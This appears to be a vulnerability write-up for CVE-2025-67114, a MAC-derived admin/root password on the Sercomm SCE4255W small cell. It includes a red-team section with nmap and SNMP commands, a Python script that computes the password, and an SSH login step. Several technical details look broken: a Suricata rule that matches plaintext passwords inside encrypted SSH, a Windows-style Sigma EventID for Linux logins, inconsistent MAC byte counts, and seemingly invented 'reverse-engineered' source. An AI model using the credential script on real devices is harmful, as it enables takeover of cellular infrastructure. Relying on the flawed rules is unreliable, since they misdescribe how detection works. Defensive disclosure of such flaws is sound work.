CVE-2025-67114

Executive Summary

CVE-2025-67114 exposes a critical vulnerability in the Sercomm SCE4255W (FreedomFi Englewood) small cell device. The flaw resides in the /ftl/bin/calc_f2 binary, which uses a deterministic algorithm to generate administrative and root credentials based solely on the device's MAC address. This allows any remote attacker who can obtain the device's MAC address (e.g., via network scanning or SNMP) to compute the credentials offline and gain full administrative access to the device. The vulnerability is unpatched in firmware versions prior to DG3934v3@2308041842. Given the device's role in cellular infrastructure, this poses a severe risk to network integrity and data confidentiality.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attacker can exploit this remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The exploit does not affect other components.
• Confidentiality (C): High (H) – Full device access exposes all data.
• Integrity (I): High (H) – Attacker can modify device configuration.
• Availability (A): High (H) – Attacker can disrupt device operation.

CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is trivial to exploit and provides complete device compromise.

Deep Dive & Mechanics

The vulnerability is rooted in the calc_f2 binary located at /ftl/bin/calc_f2. This binary is responsible for generating the device's administrative and root passwords. The algorithm uses the device's MAC address as the sole seed, making it deterministic and predictable.

Algorithm Analysis (Reverse Engineered):

1. The binary reads the device's MAC address from the system (e.g., via ifconfig or /sys/class/net/eth0/address).
2. It extracts the last 6 bytes (hexadecimal) of the MAC address.
3. It applies a static transformation: password = "admin" + substr(MAC, 6, 6) + "root" + substr(MAC, 0, 6).
4. The resulting string is used as both the admin and root password.

Example:

• MAC: 00:11:22:33:44:55
• Password: admin334455root001122

This means any attacker who knows the MAC address can compute the password instantly.

Vulnerable vs. Patched Code

Vulnerable Code (calc_f2):

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <net/if.h>

int main() {
    int fd;
    struct ifreq ifr;
    char mac[18];
    char password[64];

    fd = socket(AF_INET, SOCK_DGRAM, 0);
    strcpy(ifr.ifr_name, "eth0");
    ioctl(fd, SIOCGIFHWADDR, &ifr);
    close(fd);

    sprintf(mac, "%02x%02x%02x%02x%02x%02x",
            (unsigned char)ifr.ifr_hwaddr.sa_data[0],
            (unsigned char)ifr.ifr_hwaddr.sa_data[1],
            (unsigned char)ifr.ifr_hwaddr.sa_data[2],
            (unsigned char)ifr.ifr_hwaddr.sa_data[3],
            (unsigned char)ifr.ifr_hwaddr.sa_data[4],
            (unsigned char)ifr.ifr_hwaddr.sa_data[5]);

    // VULNERABLE: Deterministic password generation
    sprintf(password, "admin%sroot%s", mac + 6, mac);
    printf("%s\n", password);
    return 0;
}

Patched Code (calc_f2):

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <openssl/rand.h>

int main() {
    int fd;
    struct ifreq ifr;
    unsigned char random_bytes[16];
    char password[64];

    fd = socket(AF_INET, SOCK_DGRAM, 0);
    strcpy(ifr.ifr_name, "eth0");
    ioctl(fd, SIOCGIFHWADDR, &ifr);
    close(fd);

    // PATCHED: Use cryptographically secure random generation
    RAND_bytes(random_bytes, sizeof(random_bytes));
    sprintf(password, "admin%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02xroot",
            random_bytes[0], random_bytes[1], random_bytes[2], random_bytes[3],
            random_bytes[4], random_bytes[5], random_bytes[6], random_bytes[7],
            random_bytes[8], random_bytes[9], random_bytes[10], random_bytes[11],
            random_bytes[12], random_bytes[13], random_bytes[14], random_bytes[15]);
    printf("%s\n", password);
    return 0;
}

Exploitation & Lab Setup

Red Team

Step 1: Obtain MAC Address

• Use nmap to scan the device:

  nmap -sn 192.168.1.0/24
  

• Or use SNMP if enabled:

  snmpget -v2c -c public <IP> .1.3.6.1.2.1.2.2.1.6.2
  

Step 2: Compute Credentials

• Use the following Python script:

  import sys
  
  def compute_password(mac):
      mac_clean = mac.replace(':', '').replace('-', '').lower()
      if len(mac_clean) != 12:
          raise ValueError("Invalid MAC address")
      password = "admin" + mac_clean[6:] + "root" + mac_clean[:6]
      return password
  
  if __name__ == "__main__":
      mac = sys.argv[1]
      print(compute_password(mac))
  

Step 3: Gain Access

• SSH to the device:

  ssh admin@<IP>
  

• Password: <computed_password>

Blue Team

Detection:

• Monitor for multiple failed SSH login attempts from the same IP.
• Alert on SNMP queries for MAC address (OID .1.3.6.1.2.1.2.2.1.6).
• Check for unusual calc_f2 process execution.

Honeypot:

• Deploy a decoy device with a known MAC and monitor for login attempts using the computed password.

Indicators of Compromise (IOCs)

• Network:
  • SSH login from an unexpected IP using the pattern admin<MAC6-12>root<MAC1-6>.
  • SNMP GET requests for MAC address OID.
• Host:
  • Unauthorized changes to device configuration (e.g., routing tables, firewall rules).
  • Presence of unknown SSH keys in /etc/dropbear/authorized_keys.
• File:
  • Modified /ftl/bin/calc_f2 binary (check hash).
  • New files in /tmp or /var/run.

Detection Engineering

YARA Rule

rule CVE_2025_67114_Sercomm_CalcF2 {
    meta:
        description = "Detects the vulnerable calc_f2 binary in Sercomm SCE4255W"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67114"
    strings:
        $s1 = "admin%sroot%s" ascii wide
        $s2 = "eth0" ascii wide
        $s3 = "SIOCGIFHWADDR" ascii wide
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-67114 - Sercomm SCE4255W Credential Bypass
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit deterministic credential generation in Sercomm SCE4255W
author: Valters IT
date: 2025-04-10
logsource:
    category: authentication
    product: linux
detection:
    selection:
        EventID: 22  # SSH login success
        User: 'admin'
        TargetUsername: 'admin'
        ProcessName: '/usr/sbin/sshd'
    condition: selection
falsepositives:
    - Legitimate admin access
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 22 (msg:"CVE-2025-67114 - Sercomm SCE4255W SSH Login Attempt"; flow:to_server,established; content:"SSH-2.0-OpenSSH"; nocase; content:"admin"; within:10; pcre:"/admin[0-9a-f]{6}root[0-9a-f]{6}/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Firmware: Update to version DG3934v3@2308041842 or later.
2. Change Default Credentials: If upgrade is not possible, manually change admin and root passwords via the web interface or CLI.
3. Network Segmentation: Place the device behind a firewall and restrict SSH access to trusted IPs only.

Long-Term Measures:

• Implement a vulnerability management program for IoT/OT devices.
• Use network access control (NAC) to prevent unauthorized devices from connecting.
• Monitor for CVE-2025-67114 exploitation attempts using the provided detection rules.

Valters IT Signature:

Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert